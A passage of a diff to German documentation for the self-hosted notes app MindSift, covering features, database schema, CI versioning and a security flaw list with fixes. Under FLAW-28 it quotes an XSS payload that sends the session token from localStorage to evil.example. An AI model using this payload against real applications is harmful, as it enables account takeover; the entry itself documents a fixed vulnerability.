`![Beschriftung](../attachments/…)` relativ zur Notiz) enthalten die Dateien der eigenen Notizen; beim Import bekommen sie neue IDs. Der Obsidian-Import übernimmt Bilder und Audio, die eine Notiz allein in einem Punkt einbettet (`![[datei.png]]` oder `![](pfad/datei.png)`); andere Dateien erscheinen in der Vorschau als übersprungen. Die Verdichtung (alle 6 Stunden) löscht Dateien, die kein Block mehr erwähnt (auch keine gelöschten im Papierkorb oder Protokoll), frühestens einen Tag nach dem Hochladen. Der Demo-Reset leert `media/`.
## Notizen umbauen
`internal/storage/restructure.go`: **Ast auslagern** liest den Ast, legt die neue Notiz an (Titel eindeutig, gleiche direkte und Gruppen-Freigaben, Besitzer der Ursprungsnotiz bekommt Schreibrecht) und ersetzt den Ast dann über das Operationsprotokoll durch `[[Titel]]` (Hashtags bleiben am Link). **Zusammenführen** hängt die Quelle als `h2`-Überschrift mit ihren Punkten als Unterpunkte an die Zielnotiz an (ebenfalls über Operationen, offene Editoren folgen live) und legt die Quelle in den Papierkorb; „Rückgängig“ löscht die Überschrift samt Unterpunkten und stellt die Quelle wieder her. Die Aktion läuft im Namen des Editor-Clients (`clientId`), damit dessen eigene Block-Sperren nicht stören. Bilder und Aufnahmen funktionieren weiter, weil der Zugriff über die Notizen läuft, die sie zeigen.
## Link-Vorschau
Punkte mit einer reinen https-Adresse zeigen darüber eine Karte (`LinkPreviewCard`, `lib/linkPreview.ts`). `GET /link-preview?url=` holt die Seite serverseitig mit demselben Schutz wie Webhooks (nur https, keine internen Adressen, Weiterleitungen geprüft), liest `og:*`/`twitter:*`, `<title>`, `description` und das Icon aus dem `<head>` (höchstens 1 MB HTML, Bild 2 MB, Icon 100 KB, kein SVG) und speichert alles in `link_previews` (Migration 6): Erfolg 7 Tage, nichts Brauchbares 1 Tag, nach 30 Tagen gelöscht. Bilder kommen über `GET /link-preview/{key}/image|icon` mit Login. Pro Adresse höchstens 300 Abrufe in 15 Minuten (Antworten aus dem Cache zählen nicht). Ausblenden einer Karte macht aus der Adresse `[Titel](url)` (ein benannter Link hat keine Karte), damit synchronisiert die Wahl mit der Notiz; „Link-Vorschauen anzeigen“ unter Darstellung gilt pro Gerät. Im Demo-Modus aus.
## Spracherkennung
Nur über Umgebungsvariablen (`STT_*`, siehe oben), nicht in der Oberfläche; Administration → Server & Isolation zeigt den aktiven Modus, den Zustand des Whisper-Servers und bietet eine Testaufnahme. Alle Mikrofon-Knöpfe (Quick-Dump-Leiste, mobiles Erfassen-Sheet, Halten des +-Knopfs) nutzen denselben Hook `useVoiceInput` (`frontend/src/lib/voice.ts`, `useVoiceInput.ts`): `server` nimmt auf und zeigt „Wird erkannt…“, `browser` liefert Text schon beim Sprechen, `off` oder ein Browser ohne die nötige Funktion blendet das Mikrofon aus. Im Server-Modus zeigen Wellen den echten Mikrofonpegel (`VoiceWave`), die Aufnahme endet spätestens nach `STT_MAX_SECONDS`. Der Browser nimmt per `MediaRecorder` auf (WebM/Opus, in Safari MP4/AAC) und schickt die Aufnahme an `POST /voice/transcribe`; MindSift reicht sie an `STT_URL/v1/audio/transcriptions` weiter (`model`, `language`) und gibt nur den Text zurück. Nichts wird gespeichert oder protokolliert außer Fehlern (`internal/api/voice.go`). Beim Start wartet MindSift auf den Whisper-Server und stößt den Download des Modells an, falls es fehlt (`POST /v1/models/<id>` bei speaches).
`docker-compose.yml` enthält den Dienst `whisper` (speaches 0.8.3, CPU) als auskommentierten Block: Rauten entfernen, `STT_URL=http://whisper:8000` in `.env` setzen, `docker compose up -d`; das Modell liegt in `./whisper` (Ordner gehört UID 1000). Gemessen auf einem Desktop mit 16 Kernen (int8) für einen Satz von 4 s: `Systran/faster-whisper-small` 1,6 s, `deepdml/faster-whisper-large-v3-turbo-ct2` 8 s bei besserer Erkennung (RAM ca. 1 bzw. 2 GB). Auf geteilten vCPUs ist mit dem Mehrfachen zu rechnen.
## Hintergrundjob: Alarme
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Details und Einschränkungen: [modules/tasks.md](modules/tasks.md), [FLAW-12](flaws.md).
`startAlarmTicker` prüft jede Minute alle offenen, noch nicht gemeldeten Aufgaben mit Fälligkeit. Ist der Alarmzeitpunkt erreicht (Fälligkeit mit Uhrzeit bzw. 9:00 bei ganztägigen Aufgaben, minus Vorlaufzeit des Benutzers, Zeitzone `TZ`), sendet er über die Kanäle des Benutzers (`email`, `discord`, `webhook`) und setzt `alarm_sent`, sobald mindestens ein Kanal erfolgreich war. Nach 3 Durchläufen ohne Erfolg gibt er auf (`alarm_failures`). Details und Einschränkungen: [modules/tasks.md](modules/tasks.md).
## Hintergrundjob: Verdichtung der Notiz-Synchronisation
@@ -96,12 +125,23 @@ Stage 2 golang:1.23 go vet, go test, go build → /app/mindsift (
Stage 3 alpine:3.21 nur Binary, ca-certificates, tzdata
```
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`. Andere Branches bauen nicht.
**Image-Tags (CI):** Push auf `dev` → `:dev`; Push/Merge auf `main` → `:latest`; Git-Tag `v*` (z. B. `v1.2.0`) → `:v1.2.0` und `:stable`; Vorabversionen (`v1.2.0-rc.1`) nur `:v1.2.0-rc.1`, `:stable` bleibt. Andere Branches bauen nicht.
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.2`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.2-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
**Versionierung:** Ab v0.6.0 nach [Semantic Versioning](https://semver.org/spec/v2.0.0.html): `MAJOR.MINOR.PATCH`, Tags dreiteilig mit `v` (`v0.6.0`, `v1.0.0-rc.1`). Solange die Hauptversion 0 ist, erhöhen inkompatible Änderungen (API, Datenformate, Konfiguration) die mittlere Stelle, Fehlerbehebungen die letzte. Jede Änderung, die Benutzer oder Betreiber betrifft, kommt in [CHANGELOG.md](../CHANGELOG.md) unter „Unreleased“ (Format [Keep a Changelog](https://keepachangelog.com/de/1.1.0/)); beim Release wird der Abschnitt zur Version mit Datum, `frontend/package.json` bekommt die Versionsnummer.
Die angezeigte Version (Kopf der App) setzt der Build-Parameter `APP_VERSION`: Die CI übergibt bei Git-Tags den Tag-Namen (`v0.6.0`), sonst zeigt die App die Version aus `frontend/package.json` mit `-dev` (`v0.6.0-dev`). Umgesetzt in `frontend/vite.config.ts` und `frontend/src/version.ts`.
Die Tests laufen beim Image-Build (Frontend: `npm run test:run`, Backend: `go test -v ./...`); ein Fehler bricht den Build ab. Frontend-Tests liegen unter `frontend/src/**/__tests__/` (Vitest + jsdom + Testing Library, Setup in `frontend/src/test/setup.ts`).
## Hintergrundjob: Backups
[backups.go](../internal/api/backups.go) / [backup.go](../internal/storage/backup.go): Ist „Automatische Backups“ in den Admin-Einstellungen an, läuft einmal täglich zur eingestellten Uhrzeit (`backup_time`, Zeitzone `TZ`; nach einem Neustart wird ein verpasster Lauf am selben Tag nachgeholt):
- `backups/system/mindsift-db-JJJJ-MM-TT-HHMM.db.gz`: Abzug der ganzen Datenbank per `VACUUM INTO` (stimmig, auch während geschrieben wird), gzip.
- `backups/users/<id>/mindsift-backup-….zip`: dasselbe ZIP wie „Backup herunterladen“ für jedes aktive Konto, mit den Bildern und Aufnahmen der eigenen Notizen unter `media/`.
- **Achtung:** Der Datenbank-Abzug enthält keine Mediendateien. Wer den Server sichert, sichert den ganzen Ordner `data/` (Datenbank, `media/`, `backups/`).
- Danach werden Dateien älter als `backup_retention_days` (Standard 3) gelöscht. Dateien entstehen über `.part` und Umbenennen, halbe Backups tauchen nie in der Liste auf. Die API liefert nur Dateien mit genau diesem Namensmuster aus.
- Im Demo-Modus läuft kein Zeitplan. Zurückspielen eines Datenbank-Abzugs: Container stoppen, `mindsift.db` durch die entpackte Datei ersetzen, starten. Benutzer spielen ihre eigenen Backups in den Kontoeinstellungen ein, auch nur für einzelne Bereiche (Notizen, Aufgaben, Listen, Inbox, Themes).
## Offline (PWA)
- **Service Worker** ([public/sw.js](../frontend/public/sw.js)): Seitenaufrufe Network-First mit der zuletzt geladenen `index.html` als Rückfall, Bundles unter `/assets/` (Hash im Namen) aus dem Cache, Icons und Manifest Stale-While-Revalidate. API-Anfragen fasst er nie an. Alte Caches verschwinden beim Aktivieren einer neuen `VERSION`, Bundles sind auf 80 Einträge begrenzt.
+6 -5
View File
@@ -1,8 +1,7 @@
# Datenbank
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`).
SQLite-Datei `mindsift.db` (Standard: `$DATA_DIR/mindsift.db`), geöffnet mit `journal_mode=WAL`, `synchronous=NORMAL`, `foreign_keys=ON`, `busy_timeout=10000` und höchstens 8 Verbindungen. Das Schema entsteht in `Store.migrate()` ([sqlite.go](../internal/storage/sqlite.go)): zuerst `CREATE TABLE IF NOT EXISTS`, danach eine Liste idempotenter `ALTER TABLE`/`CREATE`-Anweisungen für ältere Datenbanken. IDs sind Text mit Präfix (`usr_…`, `th_…`, `tkl_…`, `lst_…`, `tls_…`, `blk_…`, `doc_…`) und 96 Zufallsbits in Hex; ältere Datensätze haben kürzere IDs (40 Bit).
Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist veraltet ([FLAW-13](flaws.md)).
## Tabellen
@@ -11,7 +10,9 @@ Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist vera
|---|---|---|
| `users` | Konten | `email` (eindeutig), `username`, `password_hash`, `display_name`, `role` (`admin`/`member`), `is_active`, `token_version`, `alarm_channels` (kommagetrennt), `alarm_email`, `discord_webhook_url`, `custom_webhook_url`, `notify_before_minutes`, `avatar_url`, `organization_id` (leer = keine Organisation) |
| `user_invites` | Einladungscodes | `code`, `email`, `role`, `organization_id`, `expires_at`, `used_by` |
| `revoked_tokens` | Sperrliste ausgeloggter JWTs | `token_hash`, `expires_at` |
| `media` | Bilder und Audio in Notizen (Migration 5); Datei unter `$DATA_DIR/media/<doc_id>/<id>.<ext>` | `id`, `doc_id`, `owner_id`, `kind` (`image`/`audio`), `mime`, `size`, `source_url` (kopiertes externes Bild), `created_at` |
| `link_previews` | Zwischengespeicherte Link-Vorschauen (Migration 6) | `key` (Hash der URL), `url`, `title`, `description`, `site_name`, `image`/`icon` (BLOB, mit `*_mime`), `ok`, `fetched_at` |
| `sessions` | Angemeldete Geräte (Migration 4, ersetzt `revoked_tokens`) | `id` (= `jti` des Tokens), `user_id`, `created_at`, `last_used_at` (höchstens alle 5 Minuten aktualisiert), `user_agent`, `ip`, `revoked_at` (leer = aktiv) |
| `user_themes` | Eigene CSS-Themes eines Benutzers | `user_id` (FK, `ON DELETE CASCADE`), `name`, `css_content` |
| `api_keys` | Webhook-/API-Schlüssel | `key_prefix`, `key_hash` (SHA-256), `scopes` (nicht ausgewertet), `last_used_at` |
| `system_settings` | Schlüssel/Wert für Instanz-Einstellungen | `sharing_mode`, `allow_registration`, `instance_name`, `smtp_*` |
@@ -20,7 +21,7 @@ Die Datei `migrations/001_init.sql` wird vom Code **nicht** gelesen und ist vera
| Tabelle | Zweck | Wichtige Spalten |
|---|---|---|
| `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` |
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
| `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` |
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
@@ -81,7 +82,7 @@ teams 1─n team_members n─1 users
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
- **Schema-Version:** `PRAGMA user_version` hält `schemaVersion` (derzeit 2), damit spätere Versionen erkennen, welche Migrationen eine Datenbank schon hat. Daten werden beim Start nie gelöscht (das einmalige Zurücksetzen auf Version 2 ist entfernt, alle Installationen sind darüber hinweg). Nur der Demo-Modus leert die Datenbank bei jedem Start.
- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 („Basis-Schema v0.4.1“, `migrateBaseline`) baut das komplette Schema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
## Sicherung
+120 -177
View File
@@ -1,8 +1,8 @@
# Bekannte Schwachstellen, Risiken & technische Schulden (Flaws)
# Schwachstellen, Risiken & Ideen
Stand: Code-Review des Branches `dev` (Oktober 2026). Jeder Eintrag wurde gegen den Quellcode geprüft; die Fundstellen sind angegeben. Einträge ohne Live-Test sind als *nicht live verifiziert* markiert.
Stand: Review des Branches `dev` nach v0.5 (Oktober 2026). Die frühere Liste (FLAW-01 bis FLAW-27) ist abgearbeitet und entfernt; ihre Geschichte steht in den Commits. Neue Einträge zählen ab FLAW-28 weiter, damit Verweise in Commits eindeutig bleiben. Jeder Eintrag ist gegen den Quellcode geprüft; die Fundstellen sind angegeben.
Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (Fehlfunktion oder Schutz greift nicht), **Niedrig** (Wartbarkeit, Komfort, Hygiene).
Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** (Schutz greift nicht oder Fehlfunktion unter realistischen Bedingungen), **Niedrig** (Härtung, Datenschutz, Wartbarkeit).
---
@@ -10,199 +10,142 @@ Schweregrade: **Hoch** (Datenabfluss oder Rechteumgehung möglich), **Mittel** (
| ID | Bereich | Kurzbeschreibung | Schwere |
|---|---|---|---|
| FLAW-01 | Realtime | ~~`BroadcastToAll` sendet Aufgaben- und Listendaten an alle Verbindungen~~ | **Behoben** |
| FLAW-02 | Realtime | ~~Räume ohne Berechtigungsprüfung~~ | **Behoben** |
| FLAW-03 | Aufgaben | ~~`ReorderTasks` ändert beliebige Aufgaben per ID (IDOR)~~ | **Behoben** |
| FLAW-04 | Auth | ~~Fest eincodiertes Fallback-`JWT_SECRET`~~ | **Behoben** |
| FLAW-05 | Benachrichtigungen | ~~Discord-/Webhook-URLs ungeprüft (SSRF)~~ | **Behoben** |
| FLAW-06 | Aufgaben | ~~Jeder Editor einer Aufgabenliste kann sie per `teamId` an weitere Gruppen freigeben~~ | **Behoben** |
| FLAW-07 | Auth | ~~Ein API-Key ist ein Vollzugriff~~ – Keys dürfen nur noch einliefern; Scopes fehlen noch | Niedrig |
| FLAW-08 | Auth | ~~Webhook-Ingest mit JWT prüft weder Sperrliste noch `token_version` noch `is_active`~~ | **Behoben** |
| FLAW-09 | Auth | Kein Rate-Limit, keine Sperre bei Fehlversuchen, Mindestpasswort 4 Zeichen | Mittel |
| FLAW-10 | Freigaben | ~~`sharing_mode` wird bei Freigaben nicht durchgesetzt; Benutzerverzeichnis leakt alle Konten~~ | **Behoben** |
| FLAW-11 | Workspace | ~~Block-Upsert (`ON CONFLICT(id)`) prüft das Dokument nicht~~ | **Behoben** |
| FLAW-12 | Benachrichtigungen | ~~`notify_before_minutes` wirkungslos; Alarm feuert nach Umplanung nie wieder~~; kein Backoff bei Fehlern | **Teilweise behoben** |
| FLAW-13 | Datenbank | Keine Schema-Versionierung; Migrationsfehler werden verschluckt; `migrations/001_init.sql` ist toter Code | Mittel |
| FLAW-14 | Backend | Fehler von Schreiboperationen werden häufig ignoriert (`_, _ =`) | Mittel |
| FLAW-15 | Realtime | ~~`WriteTimeout` von 30 s beendet SSE-Streams~~ | **Behoben** |
| FLAW-16 | Setup | `/auth/setup` ist bis zum ersten Konto offen; Demo-Modus legt `admin/admin` an | Mittel |
| FLAW-17 | Workspace | ~~Bearbeiter-Freigaben für Notizen nicht wählbar~~ | **Behoben** |
| FLAW-18 | Suche | ~~Nur eigene Gedanken und Dokumente, `LIKE` ohne Escaping, keine FTS~~ | **Behoben** |
| FLAW-19 | Qualität | Frontend-Tests nur für den Outliner, `lint` ist ein Platzhalter | Niedrig |
| FLAW-20 | Qualität | ~~Sehr große Dateien~~; duplizierte Zugriffslogik | Niedrig |
| FLAW-21 | Repo | `LICENSE` fehlt, obwohl README MIT angibt | Niedrig |
| FLAW-22 | Netzwerk | Token in der URL (WS/SSE), CORS `*`, `CheckOrigin` immer `true` | Niedrig |
| FLAW-23 | SQLite | Single-Writer-Engpass bei vielen gleichzeitigen Schreibern | Niedrig |
| FLAW-24 | Gruppen | ~~Organisations-Endpunkte ohne Berechtigungsprüfung~~ | **Behoben** |
| FLAW-25 | Workspace | ~~Struktur-Aktionen an fremd gesperrten Bullets nur teilweise ausgeführt~~ | **Behoben** |
| FLAW-26 | Workspace | ~~Nach Enter landet sehr schnell Getipptes noch im vorherigen Bullet~~ | **Behoben** |
| FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
| FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
| FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** |
| FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** |
| FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** |
| FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** |
| FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** |
| FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** |
| FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** |
| FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** |
| FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** |
| FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** |
| FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** |
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
---
## Details
### FLAW-01: Broadcast an alle Verbindungen (Datenabfluss)
- **Status: Behoben.** `BroadcastToAll` existiert nicht mehr. Aufgabenereignisse gehen an Eigentümer und Benutzer der Liste (`GetTaskListUserIDs`), Listenereignisse tragen nur noch die ID, Ordnerereignisse gehen an Benutzer bzw. Ordnerbeteiligte (`GetSharedFolderUserIDs`). Test: `TestTaskEventsOnlyReachAuthorizedUsers`.
- **Fundstellen:** [`internal/ws/hub.go`](../internal/ws/hub.go) `BroadcastToAll`; Aufrufer in [`internal/api/server.go`](../internal/api/server.go): `handleUpdateThought` (`TASK_UPDATED`), `handleDeleteThought` (`TASK_DELETED`), `handleReorderTasks` (`TASK_REORDERED`), `handleUpdateTaskList`, `handleCreateTaskListShare`, `handleDeleteTaskListShare` (`TASK_LIST_UPDATED`), `handleDeleteTaskList`.
- **Problem:** `BroadcastToAll` schreibt an `allClients` und `sseClients`. Dazu zählen auch Verbindungen mit `userID = "anonymous"`, denn `handleWebSocket` und `handleSSE` liegen außerhalb der Auth-Gruppe und lassen jede Verbindung zu. Der vollständige Aufgabeninhalt (Titel, Notizen, Unteraufgaben) und die Listen samt Mitgliedern gehen so an jeden, der `/api/v1/events` öffnet.
- **Maßnahme:** Ereignisse an die berechtigten Nutzer adressieren (wie bei `DOC_*` über `GetAuthorizedDocUsers`), unauthentifizierte Verbindungen ablehnen.
### FLAW-28: `javascript:`-Links in Markdown
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
### FLAW-02: Räume ohne Berechtigungsprüfung
- **Status: Behoben.** `/ws` und `/events` verlangen ein gültiges Token (sonst `401`). Jeder Raumbeitritt läuft über `Hub.SetRoomAuthorizer` → `Server.canJoinRoom` (Notiz bzw. Liste muss lesbar sein). `/events/rooms` liegt hinter der Anmeldung und akzeptiert nur die eigene `sseId`. Tests: `TestRealtimeEndpointsRequireAuth`, `TestSSERoomJoinRequiresAccess`, `TestRoomJoinsRequireAuthorization`.
- **Fundstellen:** `Hub.readPump` (`JOIN_ROOM`), `handleSSERooms` (Route `/api/v1/events/rooms` liegt **außerhalb** der Auth-Gruppe), `Hub.Register` (Raum aus `?listId=`/`?spaceId=`).
- **Problem:** Wer eine Raum-ID kennt (`doc:<id>`, Listen-ID), tritt bei und erhält Inhalte wie `DOC_BLOCKS_PATCHED` oder `ITEM_*`. Raum-IDs tauchen in Ereignissen auf und sind nicht geheim. Für den SSE-Beitritt reicht die `sseId`, die der Server selbst im Stream mitsendet.
- **Maßnahme:** Beitritt nur nach Zugriffsprüfung (`GetDocumentByID`, `GetListByID`); `/events/rooms` hinter `authMiddleware`.
### FLAW-29: Keine Sicherheits-Header
- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
### FLAW-03: `ReorderTasks` ohne Zugriffsprüfung (IDOR)
- **Status: Behoben.** `handleReorderTasks` lehnt die ganze Anfrage ab, sobald eine Aufgabe nicht zugreifbar (`404`) oder schreibgeschützt (`403`) ist. Test: `TestReorderRejectsForeignTasks`.
- **Fundstelle:** `Store.ReorderTasks` (`UPDATE thoughts SET sort_order … WHERE id = ?`) und `handleReorderTasks`.
- **Problem:** Die SQL-Anweisung ist weder auf `user_id` noch auf die Liste eingeschränkt. Jeder angemeldete Nutzer kann `sortOrder`, `kanbanStatus` und damit `isCompleted` fremder Aufgaben ändern, sofern er die ID kennt. Die Leser-Prüfung für Aufgabenlisten überspringt Aufgaben, auf die der Nutzer gar keinen Zugriff hat (`GetThoughtByID` liefert dann einen Fehler), und schützt davor nicht.
- **Maßnahme:** Jede ID gegen `accessibleTaskListIDsQuery` bzw. `user_id` prüfen und bei Verstoß ablehnen.
### FLAW-30: Passwort und E-Mail ohne aktuelles Passwort änderbar
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`.
### FLAW-04: Fallback-JWT-Secret
- **Status: Behoben.** Fehlt `JWT_SECRET` oder ist es ein bekannter Platzhalter, erzeugt der Server 32 Zufallsbytes und speichert sie als `jwt.secret` (Rechte 0600) im Datenverzeichnis; ein Hinweis steht im Log. Test: `internal/config/config_test.go`.
- **Fundstelle:** [`internal/config/config.go`](../internal/config/config.go): `getEnv("JWT_SECRET", "mindsift-default-selfhosted-jwt-secret-key-2026")`; `docker-compose.yml` und `.env.example` liefern ebenfalls einen Platzhalter.
- **Problem:** Wer `JWT_SECRET` nicht setzt (oder den Platzhalter behält), läuft mit einem öffentlich bekannten Schlüssel. Damit lassen sich gültige Tokens für jede Benutzer-ID fälschen. `install.sh` erzeugt zwar ein Secret, andere Installationswege nicht.
- **Maßnahme:** Start verweigern oder Secret beim ersten Start erzeugen und in `/data` ablegen.
### FLAW-31: Langlebige Sitzung im `localStorage`
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
